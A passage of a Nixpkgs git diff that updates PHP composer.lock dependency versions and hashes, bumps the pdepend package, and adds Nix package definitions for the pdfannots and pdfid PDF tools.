"classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library that helps with managing the version number of Git-hosted PHP projects", - "homepage": "https://github.com/sebastianbergmann/version", - "support": { - "issues": "https://github.com/sebastianbergmann/version/issues", - "source": "https://github.com/sebastianbergmann/version/tree/1.0.6" - }, - "time": "2015-06-21T13:59:46+00:00" - }, - { "name": "simple-cli/simple-cli", "version": "1.6.0", "source": { @@ -1931,12 +839,12 @@ "version": "2.9.2", "source": { "type": "git", - "url": "https://github.com/squizlabs/PHP_CodeSniffer.git", + "url": "https://github.com/PHPCSStandards/PHP_CodeSniffer.git", "reference": "2acf168de78487db620ab4bc524135a13cfe6745" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/squizlabs/PHP_CodeSniffer/zipball/2acf168de78487db620ab4bc524135a13cfe6745", + "url": "https://api.github.com/repos/PHPCSStandards/PHP_CodeSniffer/zipball/2acf168de78487db620ab4bc524135a13cfe6745", "reference": "2acf168de78487db620ab4bc524135a13cfe6745", "shasum": "" }, @@ -2007,78 +915,21 @@ "source": "https://github.com/squizlabs/PHP_CodeSniffer", "wiki": "https://github.com/squizlabs/PHP_CodeSniffer/wiki" }, - "time": "2018-11-07T22:31:41+00:00" - }, - { - "name": "symfony/yaml", - "version": "v3.4.47", - "source": { - "type": "git", - "url": "https://github.com/symfony/yaml.git", - "reference": "88289caa3c166321883f67fe5130188ebbb47094" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/yaml/zipball/88289caa3c166321883f67fe5130188ebbb47094", - "reference": "88289caa3c166321883f67fe5130188ebbb47094", - "shasum": "" - }, - "require": { - "php": "^5.5.9|>=7.0.8", - "symfony/polyfill-ctype": "~1.8" - }, - "conflict": { - "symfony/console": "<3.4" - }, - "require-dev": { - "symfony/console": "~3.4|~4.0" - }, - "suggest": { - "symfony/console": "For validating YAML files using the lint command" - }, - "type": "library", - "autoload": { - "psr-4": { - "Symfony\\Component\\Yaml\\": "" - }, - "exclude-from-classmap": [ - "/Tests/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Fabien Potencier", - "email": "fabien@symfony.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony Yaml Component", - "homepage": "https://symfony.com", - "support": { - "source": "https://github.com/symfony/yaml/tree/v3.4.47" - }, "funding": [ { - "url": "https://symfony.com/sponsor", - "type": "custom" + "url": "https://github.com/PHPCSStandards", + "type": "github" }, { - "url": "https://github.com/fabpot", + "url": "https://github.com/jrfnl", "type": "github" }, { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" + "url": "https://opencollective.com/php_codesniffer", + "type": "open_collective" } ], - "time": "2020-10-24T10:57:07+00:00" + "time": "2018-11-07T22:31:41+00:00" } ], "aliases": [], diff --git a/pkgs/by-name/pd/pdepend/package.nix b/pkgs/by-name/pd/pdepend/package.nix index b14752c38cb33..412bdc0a89550 100644 --- a/pkgs/by-name/pd/pdepend/package.nix +++ b/pkgs/by-name/pd/pdepend/package.nix @@ -1,20 +1,24 @@ -{ php, fetchFromGitHub, lib }: +{ php +, fetchFromGitHub +, lib +}: php.buildComposerProject (finalAttrs: { pname = "pdepend"; - version = "2.15.1"; + version = "2.16.2"; src = fetchFromGitHub { owner = "pdepend"; repo = "pdepend"; rev = finalAttrs.version; - hash = "sha256-tVWOR0rKMnQDeHk3MHhEVOjn+dSpoMx+Ln+AwFRMwYs="; + hash = "sha256-2Ruubcm9IWZYu2LGeGeKm1tmHca0P5xlKYkuBCCV9ag="; }; composerLock = ./composer.lock; - vendorHash = "sha256-MWm8urRB9IujqrIl22x+JFFCRR+nINLQqnHUywT2pi0="; + vendorHash = "sha256-Rvvy6MI0q+T2W7xzf2UqWIbsqgrWhgqVnzhphQ3iw9g="; meta = { + changelog = "https://github.com/pdepend/pdepend/releases/tag/${finalAttrs.version}"; description = "An adaptation of JDepend for PHP"; homepage = "https://github.com/pdepend/pdepend"; license = lib.licenses.bsd3; @@ -24,7 +28,7 @@ php.buildComposerProject (finalAttrs: { of your design in terms of extensibility, reusability and maintainability. "; + mainProgram = "pdepend"; maintainers = lib.teams.php.members; - platforms = lib.platforms.all; }; }) diff --git a/pkgs/by-name/pd/pdfannots/package.nix b/pkgs/by-name/pd/pdfannots/package.nix new file mode 100644 index 0000000000000..14672b3717249 --- /dev/null +++ b/pkgs/by-name/pd/pdfannots/package.nix @@ -0,0 +1,34 @@ +{ lib, python3, fetchFromGitHub }: + +python3.pkgs.buildPythonApplication rec { + pname = "pdfannots"; + version = "0.4"; + pyproject = true; + + src = fetchFromGitHub { + owner = "0xabu"; + repo = "pdfannots"; + rev = "v${version}"; + hash = "sha256-C0Ss6kZvPx0hHnpBKquEolxeuTfjshhSBSIDXcCKtM8="; + }; + + nativeBuildInputs = [ + python3.pkgs.setuptools + ]; + + propagatedBuildInputs = [ + python3.pkgs.pdfminer-six + ]; + + pythonImportsCheck = [ + "pdfannots" + ]; + + meta = with lib; { + description = "Extracts and formats text annotations from a PDF file"; + homepage = "https://github.com/0xabu/pdfannots"; + license = licenses.mit; + maintainers = [ maintainers.marsam ]; + mainProgram = "pdfannots"; + }; +} diff --git a/pkgs/by-name/pd/pdfid/package.nix b/pkgs/by-name/pd/pdfid/package.nix new file mode 100644 index 0000000000000..62e14fa9d2269 --- /dev/null +++ b/pkgs/by-name/pd/pdfid/package.nix @@ -0,0 +1,40 @@ +{ lib +, fetchzip +, python3 +, python3Packages +, makeBinaryWrapper +}: + +python3Packages.buildPythonApplication rec { + pname = "pdfid"; + version = "0.2.8"; + format = "other"; + + src = fetchzip { + url = "https://didierstevens.com/files/software/pdfid_v0_2_8.zip"; + hash = "sha256-ZLyhBMF2KMX0c1oCvuSCjEjHTnm2gFhJtasaTD9Q1BI="; + stripRoot = false; + }; + + nativeBuildInputs = [ + makeBinaryWrapper + ]; + + installPhase = '' + runHook preInstall + mkdir -p $out/{bin,share/pdfid} + cp -a * $out/share/pdfid/ + makeBinaryWrapper ${lib.getExe python3} $out/bin/${meta.mainProgram} \ + --add-flags "$out/share/pdfid/pdfid.py" + runHook postInstall + ''; + + meta = with lib; { + description = "Scan a file to look for certain PDF keywords"; + homepage = "https://blog.didierstevens.com/programs/pdf-tools/"; + license = with licenses; [ free ]; + mainProgram = "pdfid"; + maintainers = with maintainers; [ d3vil0p3r ]; + platforms = platforms.unix; + }; +} diff --git a/pkgs/by-name/pe/pest/composer.lock b/pkgs/by-name/pe/pest/composer.lock index 17d5d633b099b..78fe5a55d1bd9 100644 --- a/pkgs/by-name/pe/pest/composer.lock +++ b/pkgs/by-name/pe/pest/composer.lock @@ -4,20 +4,20 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "044366114136964b771d15be0e1a89ee", + "content-hash": "393fa917247bc6e80a22f6f93d4871ea", "packages": [ { "name": "brianium/paratest", - "version": "v7.4.1", + "version": "v7.4.3", "source": { "type": "git", "url": "https://github.com/paratestphp/paratest.git", - "reference": "b2830e330011d59a799c0002e118f5b4bbdb9604" + "reference": "64fcfd0e28a6b8078a19dbf9127be2ee645b92ec" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/paratestphp/paratest/zipball/b2830e330011d59a799c0002e118f5b4bbdb9604", - "reference": "b2830e330011d59a799c0002e118f5b4bbdb9604", + "url": "https://api.github.com/repos/paratestphp/paratest/zipball/64fcfd0e28a6b8078a19dbf9127be2ee645b92ec", + "reference": "64fcfd0e28a6b8078a19dbf9127be2ee645b92ec", "shasum": "" }, "require": { @@ -25,13 +25,13 @@ "ext-pcre": "*", "ext-reflection": "*", "ext-simplexml": "*", - "fidry/cpu-core-counter": "^1.0.0", + "fidry/cpu-core-counter": "^1.1.0", "jean85/pretty-package-versions": "^2.0.5", "php": "~8.2.0 || ~8.3.0", "phpunit/php-code-coverage": "^10.1.11 || ^11.0.0", "phpunit/php-file-iterator": "^4.1.0 || ^5.0.0", "phpunit/php-timer": "^6.0.0 || ^7.0.0", - "phpunit/phpunit": "^10.5.9 || ^11.0.2", + "phpunit/phpunit": "^10.5.9 || ^11.0.3", "sebastian/environment": "^6.0.1 || ^7.0.0", "symfony/console": "^6.4.3 || ^7.0.3", "symfony/process": "^6.4.3 || ^7.0.3" @@ -40,11 +40,11 @@ "doctrine/coding-standard": "^12.0.0", "ext-pcov": "*", "ext-posix": "*", - "phpstan/phpstan": "^1.10.57", + "phpstan/phpstan": "^1.10.58", "phpstan/phpstan-deprecation-rules": "^1.1.4", "phpstan/phpstan-phpunit": "^1.3.15", "phpstan/phpstan-strict-rules": "^1.5.2", - "squizlabs/php_codesniffer": "^3.8.1", + "squizlabs/php_codesniffer": "^3.9.0", "symfony/filesystem": "^6.4.3 || ^7.0.3" }, "bin": [ @@ -86,7 +86,7 @@ ], "support": { "issues": "https://github.com/paratestphp/paratest/issues", - "source": "https://github.com/paratestphp/paratest/tree/v7.4.1" + "source": "https://github.com/paratestphp/paratest/tree/v7.4.3" }, "funding": [ { @@ -98,7 +98,7 @@ "type": "paypal" } ], - "time": "2024-02-06T13:50:28+00:00" + "time": "2024-02-20T07:24:02+00:00" }, { "name": "doctrine/deprecations", @@ -149,16 +149,16 @@ }, { "name": "fidry/cpu-core-counter", - "version": "1.0.0", + "version": "1.1.0", "source": { "type": "git", "url": "https://github.com/theofidry/cpu-core-counter.git", - "reference": "85193c0b0cb5c47894b5eaec906e946f054e7077" + "reference": "f92996c4d5c1a696a6a970e20f7c4216200fcc42" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/theofidry/cpu-core-counter/zipball/85193c0b0cb5c47894b5eaec906e946f054e7077", - "reference": "85193c0b0cb5c47894b5eaec906e946f054e7077", + "url": "https://api.github.com/repos/theofidry/cpu-core-counter/zipball/f92996c4d5c1a696a6a970e20f7c4216200fcc42", + "reference": "f92996c4d5c1a696a6a970e20f7c4216200fcc42", "shasum": "" }, "require": { @@ -198,7 +198,7 @@ ], "support": { "issues": "https://github.com/theofidry/cpu-core-counter/issues", - "source": "https://github.com/theofidry/cpu-core-counter/tree/1.0.0" + "source": "https://github.com/theofidry/cpu-core-counter/tree/1.1.0" }, "funding": [ { @@ -206,7 +206,7 @@ "type": "github" } ], - "time": "2023-09-17T21:38:23+00:00" + "time": "2024-02-07T09:43:46+00:00" }, { "name": "filp/whoops", @@ -781,20 +781,21 @@ }, { "name": "phar-io/manifest", - "version": "2.0.3", + "version": "2.0.4", "source": { "type": "git", "url": "https://github.com/phar-io/manifest.git", - "reference": "97803eca37d319dfa7826cc2437fc020857acb53" + "reference": "54750ef60c58e43759730615a392c31c80e23176" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phar-io/manifest/zipball/97803eca37d319dfa7826cc2437fc020857acb53", - "reference": "97803eca37d319dfa7826cc2437fc020857acb53", + "url": "https://api.github.com/repos/phar-io/manifest/zipball/54750ef60c58e43759730615a392c31c80e23176", + "reference": "54750ef60c58e43759730615a392c31c80e23176", "shasum": "" }, "require": { "ext-dom": "*", + "ext-libxml": "*", "ext-phar": "*", "ext-xmlwriter": "*", "phar-io/version": "^3.0.1", @@ -835,9 +836,15 @@ "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", "support": { "issues": "https://github.com/phar-io/manifest/issues", - "source": "https://github.com/phar-io/manifest/tree/2.0.3" + "source": "https://github.com/phar-io/manifest/tree/2.0.4" }, - "time": "2021-07-20T11:28:43+00:00" + "funding": [ + { + "url": "https://github.com/theseer", + "type": "github" + } + ], + "time": "2024-03-03T12:33:53+00:00" }, { "name": "phar-io/version", @@ -1002,21 +1009,21 @@ }, { "name": "phpdocumentor/type-resolver", - "version": "1.8.0", + "version": "1.8.2", "source": { "type": "git", "url": "https://github.com/phpDocumentor/TypeResolver.git", - "reference": "fad452781b3d774e3337b0c0b245dd8e5a4455fc" + "reference": "153ae662783729388a584b4361f2545e4d841e3c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpDocumentor/TypeResolver/zipball/fad452781b3d774e3337b0c0b245dd8e5a4455fc", - "reference": "fad452781b3d774e3337b0c0b245dd8e5a4455fc", + "url": "https://api.github.com/repos/phpDocumentor/TypeResolver/zipball/153ae662783729388a584b4361f2545e4d841e3c", + "reference": "153ae662783729388a584b4361f2545e4d841e3c", "shasum": "" }, "require": { "doctrine/deprecations": "^1.0", - "php": "^7.4 || ^8.0", + "php": "^7.3 || ^8.0", "phpdocumentor/reflection-common": "^2.0", "phpstan/phpdoc-parser": "^1.13" }, @@ -1054,22 +1061,22 @@ "description": "A PSR-5 based resolver of Class names, Types and Structural Element Names", "support": { "issues": "https://github.com/phpDocumentor/TypeResolver/issues", - "source": "https://github.com/phpDocumentor/TypeResolver/tree/1.8.0" + "source": "https://github.com/phpDocumentor/TypeResolver/tree/1.8.2" }, - "time": "2024-01-11T11:49:22+00:00" + "time": "2024-02-23T11:10:43+00:00" }, { "name": "phpstan/phpdoc-parser", - "version": "1.25.0", + "version": "1.26.0", "source": { "type": "git", "url": "https://github.com/phpstan/phpdoc-parser.git", - "reference": "bd84b629c8de41aa2ae82c067c955e06f1b00240" + "reference": "231e3186624c03d7e7c890ec662b81e6b0405227" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpstan/phpdoc-parser/zipball/bd84b629c8de41aa2ae82c067c955e06f1b00240", - "reference": "bd84b629c8de41aa2ae82c067c955e06f1b00240", + "url": "https://api.github.com/repos/phpstan/phpdoc-parser/zipball/231e3186624c03d7e7c890ec662b81e6b0405227", + "reference": "231e3186624c03d7e7c890ec662b81e6b0405227", "shasum": "" }, "require": { @@ -1101,22 +1108,22 @@ "description": "PHPDoc parser with support for nullable, intersection and generic types", "support": { "issues": "https://github.com/phpstan/phpdoc-parser/issues", - "source": "https://github.com/phpstan/phpdoc-parser/tree/1.25.0" + "source": "https://github.com/phpstan/phpdoc-parser/tree/1.26.0" }, - "time": "2024-01-04T17:06:16+00:00" + "time": "2024-02-23T16:05:55+00:00" }, { "name": "phpunit/php-code-coverage", - "version": "10.1.11", + "version": "10.1.12", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-code-coverage.git", - "reference": "78c3b7625965c2513ee96569a4dbb62601784145" + "reference": "842f72662d6b9edda84c4b6f13885fd9cd53dc63" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/78c3b7625965c2513ee96569a4dbb62601784145", - "reference": "78c3b7625965c2513ee96569a4dbb62601784145", + "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/842f72662d6b9edda84c4b6f13885fd9cd53dc63", + "reference": "842f72662d6b9edda84c4b6f13885fd9cd53dc63", "shasum": "" }, "require": { @@ -1173,7 +1180,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", - "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/10.1.11" + "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/10.1.12" }, "funding": [ { @@ -1181,7 +1188,7 @@ "type": "github" } ], - "time": "2023-12-21T15:38:30+00:00" + "time": "2024-03-02T07:22:05+00:00" }, { "name": "phpunit/php-file-iterator", @@ -1428,16 +1435,16 @@ }, { "name": "phpunit/phpunit", - "version": "10.5.9", + "version": "10.5.11", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/phpunit.git", - "reference": "0bd663704f0165c9e76fe4f06ffa6a1ca727fdbe" + "reference": "0d968f6323deb3dbfeba5bfd4929b9415eb7a9a4" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/0bd663704f0165c9e76fe4f06ffa6a1ca727fdbe", - "reference": "0bd663704f0165c9e76fe4f06ffa6a1ca727fdbe", + "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/0d968f6323deb3dbfeba5bfd4929b9415eb7a9a4", + "reference": "0d968f6323deb3dbfeba5bfd4929b9415eb7a9a4", "shasum": "" }, "require": { @@ -1509,7 +1516,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/phpunit/issues", "security": "https://github.com/sebastianbergmann/phpunit/security/policy", - "source": "https://github.com/sebastianbergmann/phpunit/tree/10.5.9" + "source": "https://github.com/sebastianbergmann/phpunit/tree/10.5.11" }, "funding": [ { @@ -1525,7 +1532,7 @@ "type": "tidelift" } ], - "time": "2024-01-22T14:35:40+00:00" + "time": "2024-02-25T14:05:00+00:00" }, { "name": "psr/container", @@ -1632,16 +1639,16 @@ }, { "name": "sebastian/cli-parser", - "version": "2.0.0", + "version": "2.0.1", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/cli-parser.git", - "reference": "efdc130dbbbb8ef0b545a994fd811725c5282cae" + "reference": "c34583b87e7b7a8055bf6c450c2c77ce32a24084" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/cli-parser/zipball/efdc130dbbbb8ef0b545a994fd811725c5282cae", - "reference": "efdc130dbbbb8ef0b545a994fd811725c5282cae", + "url": "https://api.github.com/repos/sebastianbergmann/cli-parser/zipball/c34583b87e7b7a8055bf6c450c2c77ce32a24084", + "reference": "c34583b87e7b7a8055bf6c450c2c77ce32a24084", "shasum": "" }, "require": { @@ -1676,7 +1683,8 @@ "homepage": "https://github.com/sebastianbergmann/cli-parser", "support": { "issues": "https://github.com/sebastianbergmann/cli-parser/issues", - "source": "https://github.com/sebastianbergmann/cli-parser/tree/2.0.0" + "security": "https://github.com/sebastianbergmann/cli-parser/security/policy", + "source": "https://github.com/sebastianbergmann/cli-parser/tree/2.0.1" }, "funding": [ { @@ -1684,7 +1692,7 @@ "type": "github" } ], - "time": "2023-02-03T06:58:15+00:00" + "time": "2024-03-02T07:12:49+00:00" }, { "name": "sebastian/code-unit", @@ -1934,16 +1942,16 @@ }, { "name": "sebastian/diff", - "version": "5.1.0", + "version": "5.1.1", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/diff.git", - "reference": "fbf413a49e54f6b9b17e12d900ac7f6101591b7f" + "reference": "c41e007b4b62af48218231d6c2275e4c9b975b2e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/fbf413a49e54f6b9b17e12d900ac7f6101591b7f", - "reference": "fbf413a49e54f6b9b17e12d900ac7f6101591b7f", + "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/c41e007b4b62af48218231d6c2275e4c9b975b2e", + "reference": "c41e007b4b62af48218231d6c2275e4c9b975b2e", "shasum": "" }, "require": { @@ -1951,7 +1959,7 @@ }, "require-dev": { "phpunit/phpunit": "^10.0", - "symfony/process": "^4.2 || ^5" + "symfony/process": "^6.4" }, "type": "library", "extra": { @@ -1989,7 +1997,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/diff/issues", "security": "https://github.com/sebastianbergmann/diff/security/policy", - "source": "https://github.com/sebastianbergmann/diff/tree/5.1.0" + "source": "https://github.com/sebastianbergmann/diff/tree/5.1.1" }, "funding": [ { @@ -1997,7 +2005,7 @@ "type": "github" } ], - "time": "2023-12-22T10:55:06+00:00" + "time": "2024-03-02T07:15:17+00:00" }, { "name": "sebastian/environment", @@ -2065,16 +2073,16 @@ }, { "name": "sebastian/exporter", - "version": "5.1.1", + "version": "5.1.2", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/exporter.git", - "reference": "64f51654862e0f5e318db7e9dcc2292c63cdbddc" + "reference": "955288482d97c19a372d3f31006ab3f37da47adf" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/64f51654862e0f5e318db7e9dcc2292c63cdbddc", - "reference": "64f51654862e0f5e318db7e9dcc2292c63cdbddc", + "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/955288482d97c19a372d3f31006ab3f37da47adf", + "reference": "955288482d97c19a372d3f31006ab3f37da47adf", "shasum": "" }, "require": { @@ -2131,7 +2139,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/exporter/issues", "security": "https://github.com/sebastianbergmann/exporter/security/policy", - "source": "https://github.com/sebastianbergmann/exporter/tree/5.1.1" + "source": "https://github.com/sebastianbergmann/exporter/tree/5.1.2" }, "funding": [ { @@ -2139,20 +2147,20 @@ "type": "github" } ], - "time": "2023-09-24T13:22:09+00:00" + "time": "2024-03-02T07:17:12+00:00" }, { "name": "sebastian/global-state", - "version": "6.0.1", + "version": "6.0.2", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/global-state.git", - "reference": "7ea9ead78f6d380d2a667864c132c2f7b83055e4" + "reference": "987bafff24ecc4c9ac418cab1145b96dd6e9cbd9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/7ea9ead78f6d380d2a667864c132c2f7b83055e4", - "reference": "7ea9ead78f6d380d2a667864c132c2f7b83055e4", + "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/987bafff24ecc4c9ac418cab1145b96dd6e9cbd9", + "reference": "987bafff24ecc4c9ac418cab1145b96dd6e9cbd9", "shasum": "" }, "require": { @@ -2186,14 +2194,14 @@ } ], "description": "Snapshotting of global state", - "homepage": "http://www.github.com/sebastianbergmann/global-state", + "homepage": "https://www.github.com/sebastianbergmann/global-state", "keywords": [ "global state" ], "support": { "issues": "https://github.com/sebastianbergmann/global-state/issues", "security": "https://github.com/sebastianbergmann/global-state/security/policy", - "source": "https://github.com/sebastianbergmann/global-state/tree/6.0.1" + "source": "https://github.com/sebastianbergmann/global-state/tree/6.0.2" }, "funding": [ { @@ -2201,7 +2209,7 @@ "type": "github" } ], - "time": "2023-07-19T07:19:23+00:00" + "time": "2024-03-02T07:19:19+00:00" }, { "name": "sebastian/lines-of-code", @@ -2547,16 +2555,16 @@ }, { "name": "symfony/console", - "version": "v7.0.3", + "version": "v7.0.4", "source": { "type": "git", "url": "https://github.com/symfony/console.git", - "reference": "c5010d50f1ee4b25cfa0201d9915cf1b14071456" + "reference": "6b099f3306f7c9c2d2786ed736d0026b2903205f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/console/zipball/c5010d50f1ee4b25cfa0201d9915cf1b14071456", - "reference": "c5010d50f1ee4b25cfa0201d9915cf1b14071456", + "url": "https://api.github.com/repos/symfony/console/zipball/6b099f3306f7c9c2d2786ed736d0026b2903205f", + "reference": "6b099f3306f7c9c2d2786ed736d0026b2903205f", "shasum": "" }, "require": { @@ -2620,7 +2628,7 @@ "terminal" ], "support": { - "source": "https://github.com/symfony/console/tree/v7.0.3" + "source": "https://github.com/symfony/console/tree/v7.0.4" }, "funding": [ { @@ -2636,7 +2644,7 @@ "type": "tidelift" } ], - "time": "2024-01-23T15:02:46+00:00" + "time": "2024-02-22T20:27:20+00:00" }, { "name": "symfony/finder", @@ -3022,16 +3030,16 @@ }, { "name": "symfony/process", - "version": "v7.0.3", + "version": "v7.0.4", "source": { "type": "git", "url": "https://github.com/symfony/process.git", - "reference": "937a195147e0c27b2759ade834169ed006d0bc74" + "reference": "0e7727191c3b71ebec6d529fa0e50a01ca5679e9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/process/zipball/937a195147e0c27b2759ade834169ed006d0bc74", - "reference": "937a195147e0c27b2759ade834169ed006d0bc74", + "url": "https://api.github.com/repos/symfony/process/zipball/0e7727191c3b71ebec6d529fa0e50a01ca5679e9", + "reference": "0e7727191c3b71ebec6d529fa0e50a01ca5679e9", "shasum": "" }, "require": { @@ -3063,7 +3071,7 @@ "description": "Executes commands in sub-processes", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/process/tree/v7.0.3" + "source": "https://github.com/symfony/process/tree/v7.0.4" }, "funding": [ { @@ -3079,7 +3087,7 @@ "type": "tidelift" } ], - "time": "2024-01-23T15:02:46+00:00" + "time": "2024-02-22T20:27:20+00:00" }, { "name": "symfony/service-contracts", @@ -3165,16 +3173,16 @@ }, { "name": "symfony/string", - "version": "v7.0.3", + "version": "v7.0.4", "source": { "type": "git", "url": "https://github.com/symfony/string.git", - "reference": "524aac4a280b90a4420d8d6a040718d0586505ac" + "reference": "f5832521b998b0bec40bee688ad5de98d4cf111b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/string/zipball/524aac4a280b90a4420d8d6a040718d0586505ac", - "reference": "524aac4a280b90a4420d8d6a040718d0586505ac", + "url": "https://api.github.com/repos/symfony/string/zipball/f5832521b998b0bec40bee688ad5de98d4cf111b", + "reference": "f5832521b998b0bec40bee688ad5de98d4cf111b", "shasum": "" }, "require": { @@ -3231,7 +3239,7 @@ "utf8" ], "support": { - "source": "https://github.com/symfony/string/tree/v7.0.3" + "source": "https://github.com/symfony/string/tree/v7.0.4" }, "funding": [ { @@ -3247,7 +3255,7 @@ "type": "tidelift" } ], - "time": "2024-01-29T15:41:16+00:00" + "time": "2024-02-01T13:17:36+00:00" }, { "name": "ta-tikoma/phpunit-architecture-test", @@ -3310,16 +3318,16 @@ }, { "name": "theseer/tokenizer", - "version": "1.2.2", + "version": "1.2.3", "source": { "type": "git", "url": "https://github.com/theseer/tokenizer.git", - "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96" + "reference": "737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/theseer/tokenizer/zipball/b2ad5003ca10d4ee50a12da31de12a5774ba6b96", - "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96", + "url": "https://api.github.com/repos/theseer/tokenizer/zipball/737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2", + "reference": "737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2", "shasum": "" }, "require": { @@ -3348,7 +3356,7 @@ "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", "support": { "issues": "https://github.com/theseer/tokenizer/issues", - "source": "https://github.com/theseer/tokenizer/tree/1.2.2" + "source": "https://github.com/theseer/tokenizer/tree/1.2.3" }, "funding": [ { @@ -3356,7 +3364,7 @@ "type": "github" } ], - "time": "2023-11-20T00:12:19+00:00" + "time": "2024-03-03T12:36:25+00:00" }, { "name": "webmozart/assert", @@ -3420,39 +3428,38 @@ "packages-dev": [ { "name": "ergebnis/phpstan-rules", - "version": "2.1.0", + "version": "2.2.0", "source": { "type": "git", "url": "https://github.com/ergebnis/phpstan-rules.git", - "reference": "119e229c48688946450ccca9f1c57c9ca4fb6f02" + "reference": "2e9946491d39ea1eb043738309895e08f025a7a0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/ergebnis/phpstan-rules/zipball/119e229c48688946450ccca9f1c57c9ca4fb6f02", - "reference": "119e229c48688946450ccca9f1c57c9ca4fb6f02", + "url": "https://api.github.com/repos/ergebnis/phpstan-rules/zipball/2e9946491d39ea1eb043738309895e08f025a7a0", + "reference": "2e9946491d39ea1eb043738309895e08f025a7a0", "shasum": "" }, "require": { "ext-mbstring": "*", - "nikic/php-parser": "^4.2.3", + "nikic/php-parser": "^4.2.3 || ^5.0.0", "php": "~8.1.0 || ~8.2.0 || ~8.3.0", "phpstan/phpstan": "^1.10.21" }, "require-dev": { - "doctrine/orm": "^2.16.1", - "ergebnis/composer-normalize": "^2.35.0", - "ergebnis/license": "^2.1.0", - "ergebnis/php-cs-fixer-config": "^5.13.0", - "ergebnis/phpunit-slow-test-detector": "^2.3.0", - "infection/infection": "~0.27.0", - "nette/di": "^3.1.3", + "doctrine/orm": "^3.0.0", + "ergebnis/composer-normalize": "^2.42.0", + "ergebnis/license": "^2.4.0", + "ergebnis/php-cs-fixer-config": "^6.22.0", + "ergebnis/phpunit-slow-test-detector": "^2.10.0", + "nette/di": "^3.2.0", "phpstan/phpstan-deprecation-rules": "^1.1.4", - "phpstan/phpstan-strict-rules": "^1.1.0", - "phpunit/phpunit": "^10.3.2", + "phpstan/phpstan-strict-rules": "^1.5.2", + "phpunit/phpunit": "^10.5.10", "psalm/plugin-phpunit": "~0.18.4", - "psr/container": "^1.1.2", - "rector/rector": "~0.17.13", - "vimeo/psalm": "^5.14.1" + "psr/container": "^2.0.2", + "rector/rector": "^1.0.0", + "vimeo/psalm": "^5.21.1" }, "type": "phpstan-extension", "extra": { @@ -3474,34 +3481,35 @@ "authors": [ { "name": "Andreas Möller", - "email": "am@localheinz.com" + "email": "am@localheinz.com", + "homepage": "https://localheinz.com" } ], - "description": "Provides additional rules for phpstan/phpstan.", + "description": "Provides rules for phpstan/phpstan.", "homepage": "https://github.com/ergebnis/phpstan-rules", "keywords": [ "PHPStan", - "phpstan-extreme-rules", "phpstan-rules" ], "support": { "issues": "https://github.com/ergebnis/phpstan-rules/issues", + "security": "https://github.com/ergebnis/phpstan-rules/blob/main/.github/SECURITY.md", "source": "https://github.com/ergebnis/phpstan-rules" }, - "time": "2023-08-17T10:28:37+00:00" + "time": "2024-02-07T17:49:28+00:00" }, { "name": "laravel/pint", - "version": "v1.13.10", + "version": "v1.14.0", "source": { "type": "git", "url": "https://github.com/laravel/pint.git", - "reference": "e2b5060885694ca30ac008c05dc9d47f10ed1abf" + "reference": "6b127276e3f263f7bb17d5077e9e0269e61b2a0e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/pint/zipball/e2b5060885694ca30ac008c05dc9d47f10ed1abf", - "reference": "e2b5060885694ca30ac008c05dc9d47f10ed1abf", + "url": "https://api.github.com/repos/laravel/pint/zipball/6b127276e3f263f7bb17d5077e9e0269e61b2a0e", + "reference": 